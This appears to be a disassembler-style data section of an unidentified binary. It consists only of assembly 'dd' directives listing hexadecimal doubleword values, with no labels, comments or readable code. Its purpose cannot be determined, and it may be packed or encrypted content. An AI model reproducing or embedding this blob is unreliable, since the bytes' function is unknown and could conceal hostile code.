		dd 0C007D58h, 31E40916h, 92C144E9h, 0CBE16F78h,	0A8586D49h
		dd 1D60BA05h, 0BD84103Eh, 3FB0A585h, 6157012Dh,	946822E0h
		dd 27FA5858h, 66FB4D0Bh, 0E9DCE801h, 0B899ECDh,	0D4F32C8Bh
		dd 0E9835E11h, 0B192D88h, 5F84AE2Fh, 9DD91430h,	0D2FA731Bh
		dd 31689448h, 80A6325Dh, 2D081B66h, 0A8C90181h,	0F73AC619h
		dd 60A940D9h, 7F004FDDh, 65480105h, 97C8290Ch, 8CBA0198h
		dd 326C3817h, 4207C004h, 0C1DD2E87h, 0D6243D47h, 10F83280h
		dd 0C0745E4Ch, 28C95F4Ch, 0A4475Ch, 61FD2BBDh, 0B51DCFE9h
		dd 0E278F21Ah, 0C93BA000h, 0C3F38165h, 6E542725h, 0E92C0558h
		dd 24BC560Ch, 0F10F16E1h, 6E423F92h, 0A4026A68h, 8FA45A75h
		dd 393E4EF7h, 0F556F86Ch, 886450C4h, 0AD8440C1h, 0B2E1746Ah
		dd 2A6880CCh, 1272B759h
		dd 4EDD15Dh, 0B6DF9B6h,	506D275Ch, 4EECDEA7h, 9554F45h
		dd 0D5005D04h, 1BEB5F17h, 7B00BDF6h, 8133320Ch,	55929F5h
		dd 0EE312687h, 0D1A50E5Dh, 0E0877BBFh, 60491B84h, 0C56E2CEDh
		dd 0F5015F1Ah, 5E0800CEh, 5F49E42Dh, 73350AAh, 0A7E97661h
		dd 0F7E4340Ah, 1160CCEEh, 27EDC2DFh, 0CB654A7Eh, 0B731104Eh
		dd 0C0EE8312h, 8017B1B8h, 61296D24h, 0E57EE125h, 1F671C3Bh
		dd 44EB8BC3h, 0D57C438h, 42BEFE82h, 0BB0033E7h,	311C2EDEh
		dd 0A54A016Fh, 59C92A1Fh, 9F426220h, 5E87C518h,	0E1660783h
		dd 63DEB652h, 62001C6h,	812FF34Bh, 102ED98h, 0C841D1F7h
		dd 8104C822h, 8114B525h, 52EDC449h, 54CAE288h, 93C1107Dh
		dd 8263E3F6h, 0C0B5D7B6h, 0E4E9DFB3h, 0BEB3CC4Bh, 9326573Dh
		dd 7194AE03h, 96B67D02h, 2F40B116h, 29B109B4h, 80C10BFEh
		dd 0FC8247F1h, 0D2DE55C6h, 0AEA4D09Dh, 12298A00h, 9CF8173h
		dd 0A3461E6h, 8CC75A68h, 130E0B12h, 0E4EA25B1h,	264FEFDh
		dd 294DC27Fh, 7882DE8h,	89FA1294h, 1DD1CD9h, 512840h, 0E57EA68h
		dd 0BB53593Ah, 93471004h, 0D5804374h, 605B58FDh, 4515E462h
		dd 0CBF86DBFh, 0BA0EC905h, 29824B32h, 0DBF7022Bh, 0CBFBA177h
		dd 1EC80E1Dh, 26B97751h, 0C8B355h, 3C237FF1h, 0B727E92Fh
		dd 0B87A796Eh, 6A92BA27h, 8C3F9264h, 3279A650h,	7B194600h
		dd 0BD546811h, 0F9F0C1B1h, 0DA9230B4h, 2D1E75Bh, 680016C0h
		dd 18A965C4h, 0D0483B54h, 8BB22783h, 0EDE81875h, 2C1A9F51h
		dd 5BDD06C0h, 4466FA96h, 6A5CB173h, 505B0B04h, 0C845CB79h
		dd 9F2D8F98h, 818449CCh, 10B80CC6h, 0B576A01Dh,	67DB9C16h
		dd 82D24311h, 79EE61E9h, 37F20296h, 0D01E9471h,	4A03FE90h
		dd 7820E2ABh, 4640EB2Fh, 24685D32h, 0E893DF59h,	0C78E1A86h
		dd 53E9F61Ah, 0A728F0F1h, 2E887847h, 453C71FBh,	14DFA855h
		dd 16691433h, 8FE5E1F6h, 4EFC68D0h, 19AC5865h, 9B33E9C8h
		dd 0CA68CBF9h, 289DDB73h, 22396CFh, 3922852Dh, 471AE8C0h
		dd 0D646BA97h, 0E6531255h, 0A45B5C03h, 50D00289h, 9AE9249Ch
		dd 27B0AFDDh, 9E0EBA52h, 2442BF37h, 7ED5B1E9h, 0E24CA7A8h
		dd 5A0F0A4Bh, 0FE162F87h, 4B497592h, 0DECC4FCBh, 489DF8EFh
		dd 66C47FFDh, 2944AFD3h, 0A812AA25h, 0FE59B72Dh, 5456E266h
		dd 73F6E3B2h, 31033351h, 0F30C066Bh, 8710A5CEh,	36581A68h
		dd 0F854CCBFh, 30AC811Ch, 0A29F55D3h, 4DA81Dh, 7EC3CE81h
		dd 2451E3Bh, 272FF2E6h,	0E6174325h, 0F74B0EC8h,	1E983D3h
		dd 0DEE23280h, 66B0702Bh, 800636B4h, 0B0068BF6h, 1E5D2560h
		dd 0FCC29B13h, 581576DBh, 84B490E7h, 0E412A98Ah, 0CA04EB0Eh
		dd 66685F49h, 79350CEBh, 0F4986423h, 0F48D024Eh, 0B0108A68h
		dd 0F758091Fh, 1B2E00DDh, 0B8463176h, 68D21D80h, 2EDE49Dh
		dd 614562A0h, 93F1E6C0h, 40F81A1Fh, 93E9CF8Fh, 0E307D787h
		dd 0C8AC4A72h, 96CC743h, 5877217Dh, 0F7663310h,	5451F913h
		dd 0F2681063h, 20D84C0Bh, 5525D8E6h, 0AA301A5Fh, 0E22FAD72h
		dd 73672BADh, 0B70622B2h, 7BE9A722h, 8FBB1268h,	130A0F13h
		dd 0E5C7FB0Fh, 980C3406h, 0EC3B21ADh, 2E01F44Bh, 1F5BDEh
		dd 5DBE246Bh, 8B7DF089h, 58138BBh, 5123414Fh, 0A02D7760h
		dd 4A215A07h, 99DDA4C1h, 3425184Fh, 0E392B7A3h,	10073966h
		dd 324A1B29h, 5CD605F8h, 971CC4AEh, 843273A5h, 0B253D268h
		dd 35E9C4DBh, 2E80BFB0h, 124992C3h, 7EFCB8AFh, 2057F82Dh
		dd 682E616Dh, 13D7B434h, 1DE5C5FDh, 450CCBFFh, 40A1179Eh
		dd 0E93D5136h, 25326846h, 385C05Eh, 288BC42Ch, 132D00A8h
		dd 240F4CDEh, 0C8D1C609h, 0D6EA01BEh, 931982Ah,	9EE91D84h
		dd 81A2A823h, 52C8BF0Fh, 0B4A45C6Ch, 92AC5A67h,	1BBE5600h
		dd 4E778C25h, 90315FE9h, 3AE5CB84h, 0E29523F0h,	0E4E88CB6h
		dd 83B4017Eh, 0E9DA2161h, 10C535FEh, 5D680BD7h,	0E725AE9Eh
		dd 0B8500832h, 4009E941h, 8DCB412Fh, 0A2733F3Dh, 0C0A0AC54h
		dd 0C00623F8h, 0C7015829h, 40E8014Ah, 4E93D27h,	78410361h
		dd 3E7C4D02h, 572C6809h, 160A6F1h, 970388D3h, 8B89A565h
		dd 0E9B57614h, 0CB583AD4h, 0CF29802Dh, 7752BB94h, 9C558DB2h
		dd 7299F90h, 2E34384h, 80FA015Bh, 0BC26A9CCh, 88589C52h
		dd 8006B328h, 0F1E470F1h, 18C8D57Dh, 0AA70242h,	53E40295h
		dd 0A530816h, 0C3C2DD12h, 0C0C58F52h, 8951E33Bh, 5877C2h
		dd 0B0F1DCAh, 5A57524Fh, 476064BEh, 4EE9FA87h, 2D501351h
		dd 0A2B72825h, 51AB7454h, 3D7A8057h, 0F73E9E45h, 0BAE98D0h
		dd 5CA1C139h, 8924E778h, 1612EAC7h, 410D5227h, 0C560F7F5h
		dd 3B18B2D8h, 60925B50h, 2062B5CDh, 0FFAC6AD8h,	28400445h
		dd 0A87272Bh, 370FE910h, 534D022Fh, 0CBDC7A11h,	20C51809h
		dd 0E531AAC9h, 5AD1F54Bh, 295D2E84h, 3630FB54h,	170C7062h
		dd 15B5A4Ch, 9B068220h,	7EE68241h, 89E0D3E8h, 314D84EDh
		dd 0E90B9EA8h, 7CDB4F90h, 0D5BB5380h, 904A0E3Ch, 3A7A09C0h
		dd 0BB0054B6h, 0A141C105h, 5BDD0104h, 7FE92C87h, 231635C1h
		dd 9B61CEEAh, 8CB2467h,	0F4090E91h, 7F9190A5h, 1F182563h
		dd 8811E72h, 0EB3C9758h, 4429CD44h, 58CAB4B9h, 8A51C5E6h
		dd 38E90B3Bh, 58F44461h, 0E9A0E150h, 76B9DE22h,	0A51709ACh
		dd 58F43BCCh, 3DE8407h,	60A15BCAh, 0DA3C9E38h, 65BA7524h
		dd 0D753AD58h, 0B65A65B7h, 0BD531262h, 5B7C018Ah, 0CE5D9h
		dd 9D2157E1h, 0E0C12F0Ah, 6F02D106h, 807EA93Ah,	0BD59B4CBh
		dd 0EDE9186Ah, 0E0EE6530h, 7A750D05h, 0CDC4FE01h, 0E95F0801h
		dd 407BD591h, 4617C2CBh, 69F850F3h, 0EE6574EFh,	0E62DF6B3h
		dd 0E9510BF9h, 0F546567Ah, 4F3A8920h, 92038747h, 305D3083h
		dd 884B8D97h, 5681FB4Dh, 94EF80D8h, 440CC446h, 8100A4DFh
		dd 429009F7h, 332C3F7Bh, 55673410h, 0C4E15B94h,	3DE2C1D0h
		dd 0B2164204h, 0DBD04F05h, 0A46F484h, 4724072Dh, 0ABBAE3h
		dd 0F63BF36Bh, 0D9010773h, 6850A6BEh, 375762E8h, 440FE348h
		dd 37CD5267h, 0C42B49F5h, 4A3B8B06h, 52AAE494h,	2CA00AE9h
		dd 74ED35BCh, 0A1ADAC25h, 407B0EE9h, 1CA5E34Eh,	0D985647h
		dd 0C62E120h, 0C67EEDBFh, 0C90AF738h, 0CB0FBE7Dh, 0DF19061Eh
		dd 17A080Ah, 5BE1D044h,	0BA007BD1h, 0ADE9E801h,	3DE99E7h
		dd 7A734895h, 82DBD7D9h, 0A24C13EDh, 0ABD1425Dh, 5CEC8490h
		dd 5F262081h, 0FF14024h, 65A16028h, 99612D69h, 0A8C56B31h
		dd 0B9E426E2h, 4E341038h, 0E27592Dh, 0FDA2B515h, 0D89C84B0h
		dd 0A1E0A48Dh, 0ED94A8B6h, 95326E8h, 13C808D8h,	0A255516h
		dd 6E0EC84h, 0C6D95831h, 0A666C100h, 0CD8909B6h, 0F5775979h
		dd 2B2051Fh, 8E03ED8Ah,	0D9260F3Fh, 6EF2510h, 35E7A802h
		dd 0F4617822h, 0F75D04B2h, 0D4B9E911h, 0AC00EE65h, 0EB301FBh
		dd 1C34129h, 6C56E908h,	2D5B38B4h, 0B36998D0h, 4AE927D3h
		dd 9BB895E3h, 37AE3C0h,	0DA9AF873h, 98FB469Dh, 5D210F65h
		dd 0CF28768Ch, 5AD9FB14h, 0DBBB5600h, 0FE31BC1Bh, 6A569CDFh
		dd 8FE90411h, 3983B356h, 0B15EC051h, 6C903Bh, 6FBD359Eh
		dd 7C478F5Ah, 0B906C140h, 3830FA32h, 12A2B44Dh,	3657E9C2h
		dd 10AA176Ch, 95516D5h,	181172F5h, 9008F605h, 64CB451Bh
		dd 612C8h, 29EBE03Ch, 0A8BBD701h, 8A9A5127h, 9FA86DE9h
		dd 99F6035Eh, 4E90377Fh, 682C5552h, 76024175h, 0FB17F2E9h
		dd 0D35A1ED8h
		dd 5AE800Bh, 953DA3AAh,	0C02E162Ah, 7C43D940h, 282961C1h
		dd 0A10705F0h, 0D8EC211Ch, 0F9E92738h, 0E3F17162h, 0D65EF089h
		dd 42959B0h, 0A2548B81h, 2373AE07h, 52D44A95h, 20549A6h
		dd 74601E68h, 8702FEBDh, 0C128C737h, 3D82A883h,	9D559AC1h
		dd 0D4658E84h, 6A29A7D6h, 8F99536Ch, 746CA00Eh,	851F624h
		dd 5013FF4h, 835616Bh, 1877EBD4h, 7851191Bh, 0DD0567CCh
		dd 1F99683Ch, 30E98FCCh, 5A3D3794h, 2E7A4538h, 44E37127h
		dd 0E5179877h, 0BE04853Ch, 801E51BDh, 9F0E6D8h,	0EC7F5326h
		dd 564DF602h, 0F22BE126h, 0EAA51038h, 93C20D00h, 4BC7CC17h
		dd 30D8A229h, 0C9E96B59h, 38189D06h, 0E5823BC8h, 4EA393C5h
		dd 326B64E6h, 0F5A17D05h, 0F250FCF8h, 0DCBC0A92h, 0BF1316BDh
		dd 7E68FACCh, 2087AC29h, 5F901186h, 73E0D402h, 0C0EF31ECh
		dd 13A6CFD8h, 1D094753h, 0C72F49F1h, 0B5A02086h, 83D242EAh
		dd 41D548B4h, 0F8856B08h, 0F8AB62BFh, 27AB83EBh, 68513706h
		dd 254D22E5h, 7C663643h, 819D3FF2h, 5AD1887Bh, 0F6C85730h
		dd 0B3124F6Fh, 50889600h, 0CA235C5Fh, 0CB80D2DEh, 1680C81h
		dd 95447F4Ch, 0FB5A5204h, 3002EE44h, 1CB608CCh,	166B0454h
		dd 4E4E0BF0h, 2049A6D9h, 505142A1h, 0E9DC0988h,	9471EA62h
		dd 24095897h, 2418545Eh, 5ADB2C1Bh, 1822E509h, 0E540D5F7h
		dd 200C97Dh, 67C58158h,	46E4154h, 0E953FD01h, 416EFC68h
		dd 85046987h, 6606D1F7h, 6F26E8A4h, 0F32B1D5Bh,	4F686B21h
		dd 31DC2330h, 511A5650h, 0BE42662Eh, 6258BE0Fh,	0CE810066h
		dd 7688070Ch, 19EE0526h, 0EA211A3Eh, 29B43818h,	0E85570D4h
		dd 92E975FEh, 695C49BAh, 24C126CBh, 0CA282F5Fh,	27C570BBh
		dd 88426926h, 70E2475h,	824B1203h, 0FCCB6097h, 43088817h
		dd 2413CAE9h, 0E8C1786Eh, 20B40A4Ch, 73C29F23h,	0B402DF05h
		dd 0B5005198h, 0B7ED803Ch, 0EC07E5C0h, 0EC8179C5h, 6118C0D8h
		dd 2059EA88h, 0D166D326h, 0FEADFE17h, 3833C605h, 6A098710h
		dd 9508208Dh, 6205367h,	9198297Ch, 4B28EF40h, 3423D7C8h
		dd 0C7800219h, 0CCCB6194h, 0BC98B404h, 2E21B64Bh, 0F5E9FDB0h
		dd 5B28283Ch, 592127E6h, 3D0BCE4h, 154400D1h, 0FA2914B8h
		dd 0AFE93D5Fh, 0F50299E9h, 80019F55h, 6825B3F3h, 6B8255CAh
		dd 9AF45217h, 2DB07F64h, 0D8EB5C01h, 854F432Ch,	0A3286468h
		dd 572A35F1h, 0F4A8324Bh, 0F621E522h, 0C2090222h, 0F7A3B4E9h
		dd 0BC0511A6h, 0C05F701Dh, 0EC024C66h, 8622210Bh, 2479F9ECh
		dd 6B252B27h, 1B80768Eh, 3DE93AB3h, 9DC4BE5Ch, 802453DEh
		dd 5224DE6Bh, 119B2760h, 5240EE1Eh, 0D70FDA9Fh,	244949E9h
		dd 2CBA556Ah, 697D501Ch, 0AF60EAC8h, 6C35DECh, 95FE875Eh
		dd 0AE1786C2h, 852C7DD4h, 6DFB57C4h, 0A6CA6FC9h, 0F6AFD751h
		dd 5C1C1134h, 9AED9D68h, 0AE227715h, 92016C81h,	29E58F72h
		dd 235D96Eh, 0B9758B0Ch, 8B6F5407h, 0D6B802BFh,	80266463h
		dd 9B9C2E8Ah, 1D7B9ED9h, 4B7A25E9h, 225DE82Fh, 79E1762h
		dd 2D126381h, 0CA29ABC8h, 40CC32C5h, 46373EDh, 92D95266h
		dd 75CC7B12h, 0F349284h, 0B15164B7h, 0ACD1F644h, 0FB04857h
		dd 1C59CF28h, 0DBE4BFFBh, 0ED21268Fh, 0BD71A027h, 7F661A9Bh
		dd 67C55860h, 0B315322Eh, 603D6C68h, 0CB33B901h, 56C57FF2h
		dd 0FC62AF44h, 70C42F02h, 356091C9h, 509C230Fh,	0DD4AF122h
		dd 126495F2h, 8425EF22h, 506B9AF9h, 0A59DA6F2h,	0AE05F5Bh
		dd 9CD5F7BFh, 40724160h, 2D075EAAh, 322F4FDEh, 2E4CA950h
		dd 0C908977Eh, 11D13A07h, 5B00CB2Bh, 0EEC8D8E2h, 522091E9h
		dd 91CAD87Eh, 589D751Fh, 0B808EAD6h, 0C7880F29h, 8310F654h
		dd 8935761Ah, 51AC7FD0h, 0EFD15F83h, 2608FE1Dh,	5E892E89h
		dd 51532D07h, 65B59F28h, 0DF222521h, 91ECE198h,	5051F19Ch
		dd 2788CD47h, 2CE79C70h, 0DEA67CE0h, 20E7AF27h,	4715A7EDh
		dd 0C2894FC6h, 0E7A8C26Dh, 2A7D08DBh, 16094A1Fh, 9D3D1E1Bh
		dd 5C13AAC5h, 71D24401h, 83840E9Fh, 1422ECE9h, 8680366Fh
		dd 0C817A10Ah, 32F0539h, 93BD7CC4h, 554E0431h, 0B813CC47h
		dd 0F52318Bh, 5C97DF01h, 2CA9A0E8h, 0C866A728h,	5C00715Ah
		dd 40113B68h, 815F5F03h, 20E5D177h, 0E25E2FC4h,	31F679D0h
		dd 36475C08h, 984A20h, 76209C69h, 1C6870B7h, 1E2B6C63h
		dd 0CD15022Bh, 5E2E4131h, 37592760h, 0B021302Ch, 0F305581Dh
		dd 26A19DE9h, 9D201161h, 854B0767h, 0F4DE3110h,	209BA1B6h
		dd 2CEC287Fh, 3F65EDE9h, 5387B713h, 1DF05884h, 2EA30FBFh
		dd 0CF454182h, 96BE8828h, 262F7A1h, 9A7C6C5Bh, 0B0257E2Fh
		dd 0E95E3EB5h, 3F5306A5h, 91684027h, 0B230F146h, 4A2C00C1h
		dd 0BE564D06h, 75613F8Eh, 1188E64Ah, 27E978D8h,	71A0159Fh
		dd 6F7B2576h, 93BD5500h, 5623AB65h, 322025E9h, 0D16E8AF9h
		dd 4C9B7210h, 4BE410F0h, 48C7011Fh, 592DF227h, 1994BDAFh
		dd 3C24284Bh, 3B6742B9h, 56CB185Eh, 2DEB1FABh, 7F956AF1h
		dd 0C6695EFFh, 0E9A09328h, 0E9C15194h, 1425E1C2h, 0CD1075C2h
		dd 1140C1E9h, 13C8BC5Bh, 53ABA06Eh, 0B0A73C95h,	2DB769CDh
		dd 0F1012D70h, 7E1E2201h, 6920CD29h, 6D0A549Bh,	5DD1905Ah
		dd 509A955h, 1AF8477Dh,	0DBB8E330h, 5020A4EEh, 9F7A423h
		dd 2CDF685Eh, 5F51F454h, 53C3817Ch, 0F3EE6268h,	0F7889F7Ch
		dd 0B04B05A8h, 0F3FB2956h, 9C55E3Fh, 9DD04ABh, 6C680EA3h
		dd 5BA1455Ah, 4C6D44A6h, 39A635C5h, 0EE0C015h, 74C4A04Fh
		dd 0B800BBB2h, 4D73606Bh, 4E2B05h, 0D0F73F84h, 1B0CE62Dh
		dd 9A255E00h, 4036FD28h, 138C3D05h, 3DE5CA51h, 54AFB900h
		dd 0E915102Ch, 54694347h, 0B25240C2h, 0CA7DFEBFh, 56183E5Bh
		dd 0C5CB1226h, 0F31B34D3h, 346248A0h, 9FB8293Fh, 0E0DDB05Ah
		dd 4BE2465Bh, 3E9A0610h, 75FA93ADh, 564E1BF3h, 0A1C0404h
		dd 280DFC76h, 59120705h, 0ED54E268h, 98F4D5Ah, 0C458C501h
		dd 837B7421h, 0F5D184D4h, 88F643Fh, 0E8102FE0h,	8A780109h
		dd 242D0C2Ah, 10D0A59Fh, 5BF92817h, 3C3F581Eh, 69E1271Fh
		dd 0A6524111h, 27F7401h, 18F4233Bh, 272C8044h, 0B6F1341h
		dd 0B513ABC5h, 13F2A70Ch, 77B46870h, 794094C7h,	0ECA8126h
		dd 1CA24B06h, 68DFE2C0h, 0E925277Eh, 5CB641C7h,	2C6FF8C1h
		dd 44929A91h, 3050532Ch, 0DD2AA001h, 0C17E8912h, 0A6AF6776h
		dd 51C7AF20h, 28B046C4h, 0F0854F5Ch, 99401635h,	0D9680456h
		dd 0C839886Ah, 0DB25733h, 0AD001597h, 0EC9DA065h, 0A0C27BA7h
		dd 6899079Dh, 6D012B6Fh, 5D080232h, 41B013F1h, 97ABF4E9h
		dd 0AEB2A825h, 0F652A160h, 1240154h, 86CEFE5Ah,	30D3E4DEh
		dd 81F3C9E9h, 32C68008h, 0A7850E9h, 0CD276627h,	51121C98h
		dd 15ED9AA1h, 9892DB8h,	70D15F61h, 9E5A649Bh, 0EDEFC928h
		dd 0BEA5652Ch, 0F8C78F32h, 30999766h, 96642E54h, 0CF59CE05h
		dd 1AE7D993h, 9FE29410h, 0BA59C00Bh, 40CB60A8h,	0FA60FEE9h
		dd 2DE05454h, 5FFA2B97h, 136DC413h, 0C0B40507h,	0BF4F8502h
		dd 35815F35h, 727F01C4h, 23D56601h, 4A97F655h, 0F125A8A6h
		dd 413A2CE9h, 4973EB59h, 62037070h, 0C71575Fh, 792A5452h
		dd 12D0CAEh, 505CFC40h,	7609056h, 8913A233h, 0D4D1F4D6h
		dd 8A2CFE3Dh, 31C54E2Ah, 67410DEEh, 3F5839EFh, 0C4834411h
		dd 0C33ABBE7h, 0CE3B0563h, 7A0E824Fh, 0CBB385E9h, 0C310E8FFh
		dd 0E21B5A1Ah, 296106B4h
		dd 0D0127CDDh, 0C690838h, 70317B83h, 379C0C05h,	0BF136FB2h
		dd 0C13177DDh, 12E24A60h, 0C7712163h, 0A6D99A8Ah, 0FB0B3426h
		dd 27E6610Dh, 0CC4F1438h, 0EF49E931h, 0A2BD0184h, 21170E52h
		dd 0AFA4066Eh, 2C00E79Ch, 815FAB4Eh, 305ECFF3h,	0BF0C792Dh
		dd 43606E35h, 7B42A552h, 80094E0Ch, 6313C6E3h, 50730100h
		dd 0F56AC3B8h, 49219014h, 2F756538h, 903096DFh,	75F8F289h
		dd 0DA0F2661h, 4280535Bh, 178E2047h, 91560BBh, 73A9E235h
		dd 0E18ADA4Ch, 746F4F49h, 0F281C122h, 3D129C7h,	523D7FC5h
		dd 7E7CE2F4h, 7B698BEFh, 229188FBh, 0AC5E3469h,	4DC8E958h
		dd 80967412h, 0F680935Eh, 0E42C7A03h, 27493FE9h, 88F2C147h
		dd 0C85B9BCBh, 0BE050A4Ch, 72506B94h, 885D557Dh, 0EB281986h
		dd 0E22A4292h, 94B6D6DCh, 2F1AF443h, 2740F9C2h,	68A05639h
		dd 6B0B6391h, 0D52919h,	7F3AF3BAh, 0ABE91358h, 0F2314443h
		dd 61ABA45Eh, 708F9D5Ch, 0F828DFA8h, 970D3A2h, 51DA2A27h
		dd 0DB2F3CF4h, 2DADAE80h, 8E2D2BB2h, 5B08C131h,	9B748F7Ch
		dd 0D2680426h, 0D68FB0Eh, 0CC3A4DE9h, 58B3B65Ah, 0AB8975F4h
		dd 0B4EE24EAh, 0C1275B10h, 0E61E0E6h, 3FC2304Eh, 0DEF70612h
		dd 0A38216C3h, 0C2FCE48Ch, 0F6A1A249h, 3B426AE9h, 7E7C8D68h
		dd 0AA59C469h, 8EAD2012h, 3A2B9F1h, 0C981B24Ah,	273B53BBh
		dd 4520B221h, 8962295Ch, 916606C7h, 0AC9FBEE9h,	5C942AC3h
		dd 8450CF9Ah, 2A4644B0h, 47953C95h, 213093E2h, 7EBC7A6Eh
		dd 4A39EE32h, 1DA75D1Ch, 0D764AFF7h, 6E97931Eh,	5168CCD5h
		dd 0B64BB509h, 803305EAh, 8B6A24F1h, 0DB492F4Eh, 8FAF2549h
		dd 6083FCADh, 3027900Eh, 501840EAh, 83BA80ACh, 34544112h
		dd 6057C00h, 0BF29E5B1h, 0DE1B9960h, 95165A82h,	0E9C13CD1h
		dd 0D73EF154h, 0AE63746Ah, 58B903C8h, 0C6C13602h, 2B3F0C69h
		dd 112B05C1h, 7F028F01h, 0F0F710C5h, 0C421E51h,	23E91836h
		dd 0CBAD274Ah, 0CB2158C1h, 3D1E9859h, 1354ED71h, 0AD13C267h
		dd 5A084038h, 5E4C597h,	0FCEE40E9h, 2E8DF56Dh, 83EFBA20h
		dd 8B84DE07h, 0EBBE962Dh, 0BD3293F7h, 1C38C586h, 2D5EEE80h
		dd 29DAC541h, 0A0355A3Fh, 3B4679ABh, 0AB9E3C22h, 0EA7D0584h
		dd 0D84E41ECh, 0AA4CCECDh, 0A6B5C118h, 3320B252h, 0C8A25E17h
		dd 68185B59h, 0C8375091h, 0BD0BC61Eh, 0C0092493h, 0E8005EFh
		dd 0F1CF6592h, 41DC33B0h, 7D476806h, 0C0AFC905h, 4BB108E1h
		dd 0F1ECD8D5h, 0CE3003EDh, 0F3885359h, 5A5BDD90h, 4B09C3FAh
		dd 13DC77E9h, 0C259C84Ah, 14A89F4Dh, 33982D08h,	0E790CF29h
		dd 0F30C3616h, 2FCC9F0h, 0E920773Fh, 0B3D65864h, 989A666Ch
		dd 0A142D9Fh, 0D00BE0A7h, 5A054D6Bh, 48382B17h,	6D204D12h
		dd 172246EDh, 8131F7C6h, 2F2A27FFh, 5F0FB3CCh, 0E4DFF498h
		dd 0CF825794h, 7FF81BD2h, 0E842A085h, 795CCBB9h, 0C1388919h
		dd 930C0982h, 3D6AA5DEh, 0FC0E1E89h, 0F16861D8h, 2A312F55h
		dd 302A3F40h, 0BE2A932Bh, 5D4B632Eh, 5B6C2C02h,	5827622Bh
		dd 0C8290F5Dh, 804F3B2Dh, 2790436h, 9333D13Ah, 992C7F47h
		dd 0FECCBD5Fh, 6A56BA1Ch, 0CA003D1Fh, 6D6E1DF2h, 0CDD326E9h
		dd 0EA48C937h, 0DA82B6F2h, 0B7B8262Ah, 0E10BF04h, 2EBF0216h
		dd 5612AB70h, 18AD24D0h, 0FD681D63h, 0EA349BB5h, 3A725428h
		dd 5F14F725h, 6626969Ah, 0B2C04F5Ah, 0CAFE90h, 0B753D2F6h
		dd 0E8F7801Fh, 0E9FA3004h, 40EF33DDh, 41E1810Fh, 5676615Ah
		dd 102103FDh, 7E489092h, 6A3E42CDh, 1035C7EDh, 277FD74Eh
		dd 66A5FEBCh, 1169098h,	85A2454h, 0F63538Bh, 390341E9h
		dd 0C01CF381h, 5CA5A9Ah, 0BD1A795Fh, 3F8ED1D5h,	0EDCD9357h
		dd 90388BB4h, 0A1BD69E4h, 0A0321705h, 6DB55C9Bh, 49E11706h
		dd 9C5D8BC5h, 0F7EAD2A9h, 9B1F4495h, 8575CF4Eh,	0DE37A81h
		dd 0EEEC4AC1h, 84E5C07h, 6BFFEA0Bh, 0EA091109h,	0E997E952h
		dd 2B51BA80h, 0B32E39EEh, 0E2929F86h, 447E8DB1h, 0F919404Fh
		dd 271D849Bh, 0E650C5F3h, 8C879785h, 58446C01h,	7B5D9495h
		dd 0C1669FC1h, 0B83EE915h, 6A91926Fh, 0A5BB3658h, 9072E304h
		dd 0B1DEC3Bh, 715FF901h, 412009DDh, 30851E6h, 2695954h
		dd 4FD52201h, 5C578DC0h, 2D1D2C00h, 77495AE6h, 0FE097A05h
		dd 0FF419D1Fh, 0D3413555h, 26A518B1h, 9E4E50C1h, 16BCF099h
		dd 0F3D43197h, 70BC35D4h, 0E9EEB45Fh, 0E1EDA530h, 5C5F18F1h
		dd 93349F35h, 1351C547h, 0F294381Bh, 648C040h, 0F35E8D1h
		dd 6A205508h, 2481B2CCh, 27EA5266h, 3581F7A3h, 454D0A1Dh
		dd 39A026D2h, 0B7EA6809h, 0A1BF1AD6h, 0F31D940h, 3FE0555Fh
		dd 0BD2C40D6h, 650C8504h, 6C804D05h, 1E8879DDh,	0BCEDC170h
		dd 4C8D0BF3h, 0C1F6467Bh, 0BFD1EBF8h, 954A0E2Ch, 56070916h
		dd 33E960CCh, 4126E54Eh, 0D101C1C8h, 7D09C8DFh,	37BC0F7Bh
		dd 68829FFDh, 592B640Bh, 8DE98B26h, 0CA9FE6FCh,	1394079Fh
		dd 68512F99h, 9ED27FCCh, 7BA98283h, 92C0331Eh, 0C1061B3Eh
		dd 0EAA8E914h, 25DD77B5h, 0CF4E2AECh, 0F4996CF6h, 793CAF3Dh
		dd 3BE9E213h, 2E9EC8D8h, 0F4E451E7h, 205DD8AFh,	5B5E2D9Ah
		dd 202BCEE1h, 0E9545571h, 99CA5633h, 3BF9B9EEh,	54E30F3Ch
		dd 0A23AE810h, 1C85E34h, 64A76BEh, 92206B22h, 92E8A7E9h
		dd 0ED659545h, 12227325h, 15BDF6FBh, 49A54BE9h,	52EF9E5Eh
		dd 32B905D4h, 365B705h,	1AC19E5h, 1B30722Dh, 8F36E927h
		dd 0FC35468Fh, 2D057220h, 0F43B0FD9h, 13080126h, 0C28980B7h
		dd 516C3671h, 1EB8716h,	712D839Dh, 40BC0168h, 0EAD879E9h
		dd 0E22403D6h, 4ADAF74Eh, 160AD29Bh, 0A03A28E3h, 86FCD316h
		dd 6FDA29B1h, 64AC3720h, 0E94D0D57h, 0EE211A1Dh, 0C373AD82h
		dd 9B0C5A64h, 0C31F65Bh, 466E177Ah, 105DCB57h, 680B3759h
		dd 0DDF9630Fh, 0E51F1880h, 97EA215Ch, 810354C4h, 697DB9EBh
		dd 4B5FD961h, 63071F69h, 0B23A1318h, 5901BFC2h,	0C02E492Ch
		dd 0CBFED392h, 0B3A87CFCh, 405FC868h, 4B4F21DCh, 0BC9924E8h
		dd 2D103E77h, 0BB2B0037h, 98B53018h, 0E7F2021h,	4B7DBA14h
		dd 0E28101DBh, 498936A0h, 7F469540h, 0B45F51B5h, 5FDCEC30h
		dd 483CE61Ah, 0AE984FC7h, 62B34C9Bh, 0D7B232CFh, 8E2DE2E9h
		dd 0A9FFA057h, 0B0360E11h, 0C89C4ED3h, 3F2535Fh, 0C0F6565Ah
		dd 0ACDEA713h, 52EFC40Bh, 209DBB01h, 0CDA321F0h, 0A6C705A9h
		dd 653FA527h, 9C05302Ah, 0F7FDA15Dh, 0B1A3AC96h, 530023B6h
		dd 4917D7BBh, 2D011478h, 244B1E71h, 94400368h, 2C5F2E9Ah
		dd 0A2FA091Ch, 40BE68CEh, 0D3C98086h, 301E0A8Eh, 81E759C8h
		dd 5E3C0B2h, 0AC84CED0h, 0F8BAE5F4h, 677B7521h,	54A55154h
		dd 0FD8B5F51h, 0C56980DBh, 98C5C61h, 0CD871845h, 68570641h
		dd 0D82B1009h, 0C9C6D45Bh, 0E708D1FCh, 55510AFCh, 0CED11CC1h
		dd 5DC0509Bh, 0A94BB95Eh, 0F4AF642Ch, 0D4492926h, 0A06C97A2h
		dd 0CD3980A1h, 0C2F589CFh, 3BA38228h, 0D8520553h, 0CA58896Fh
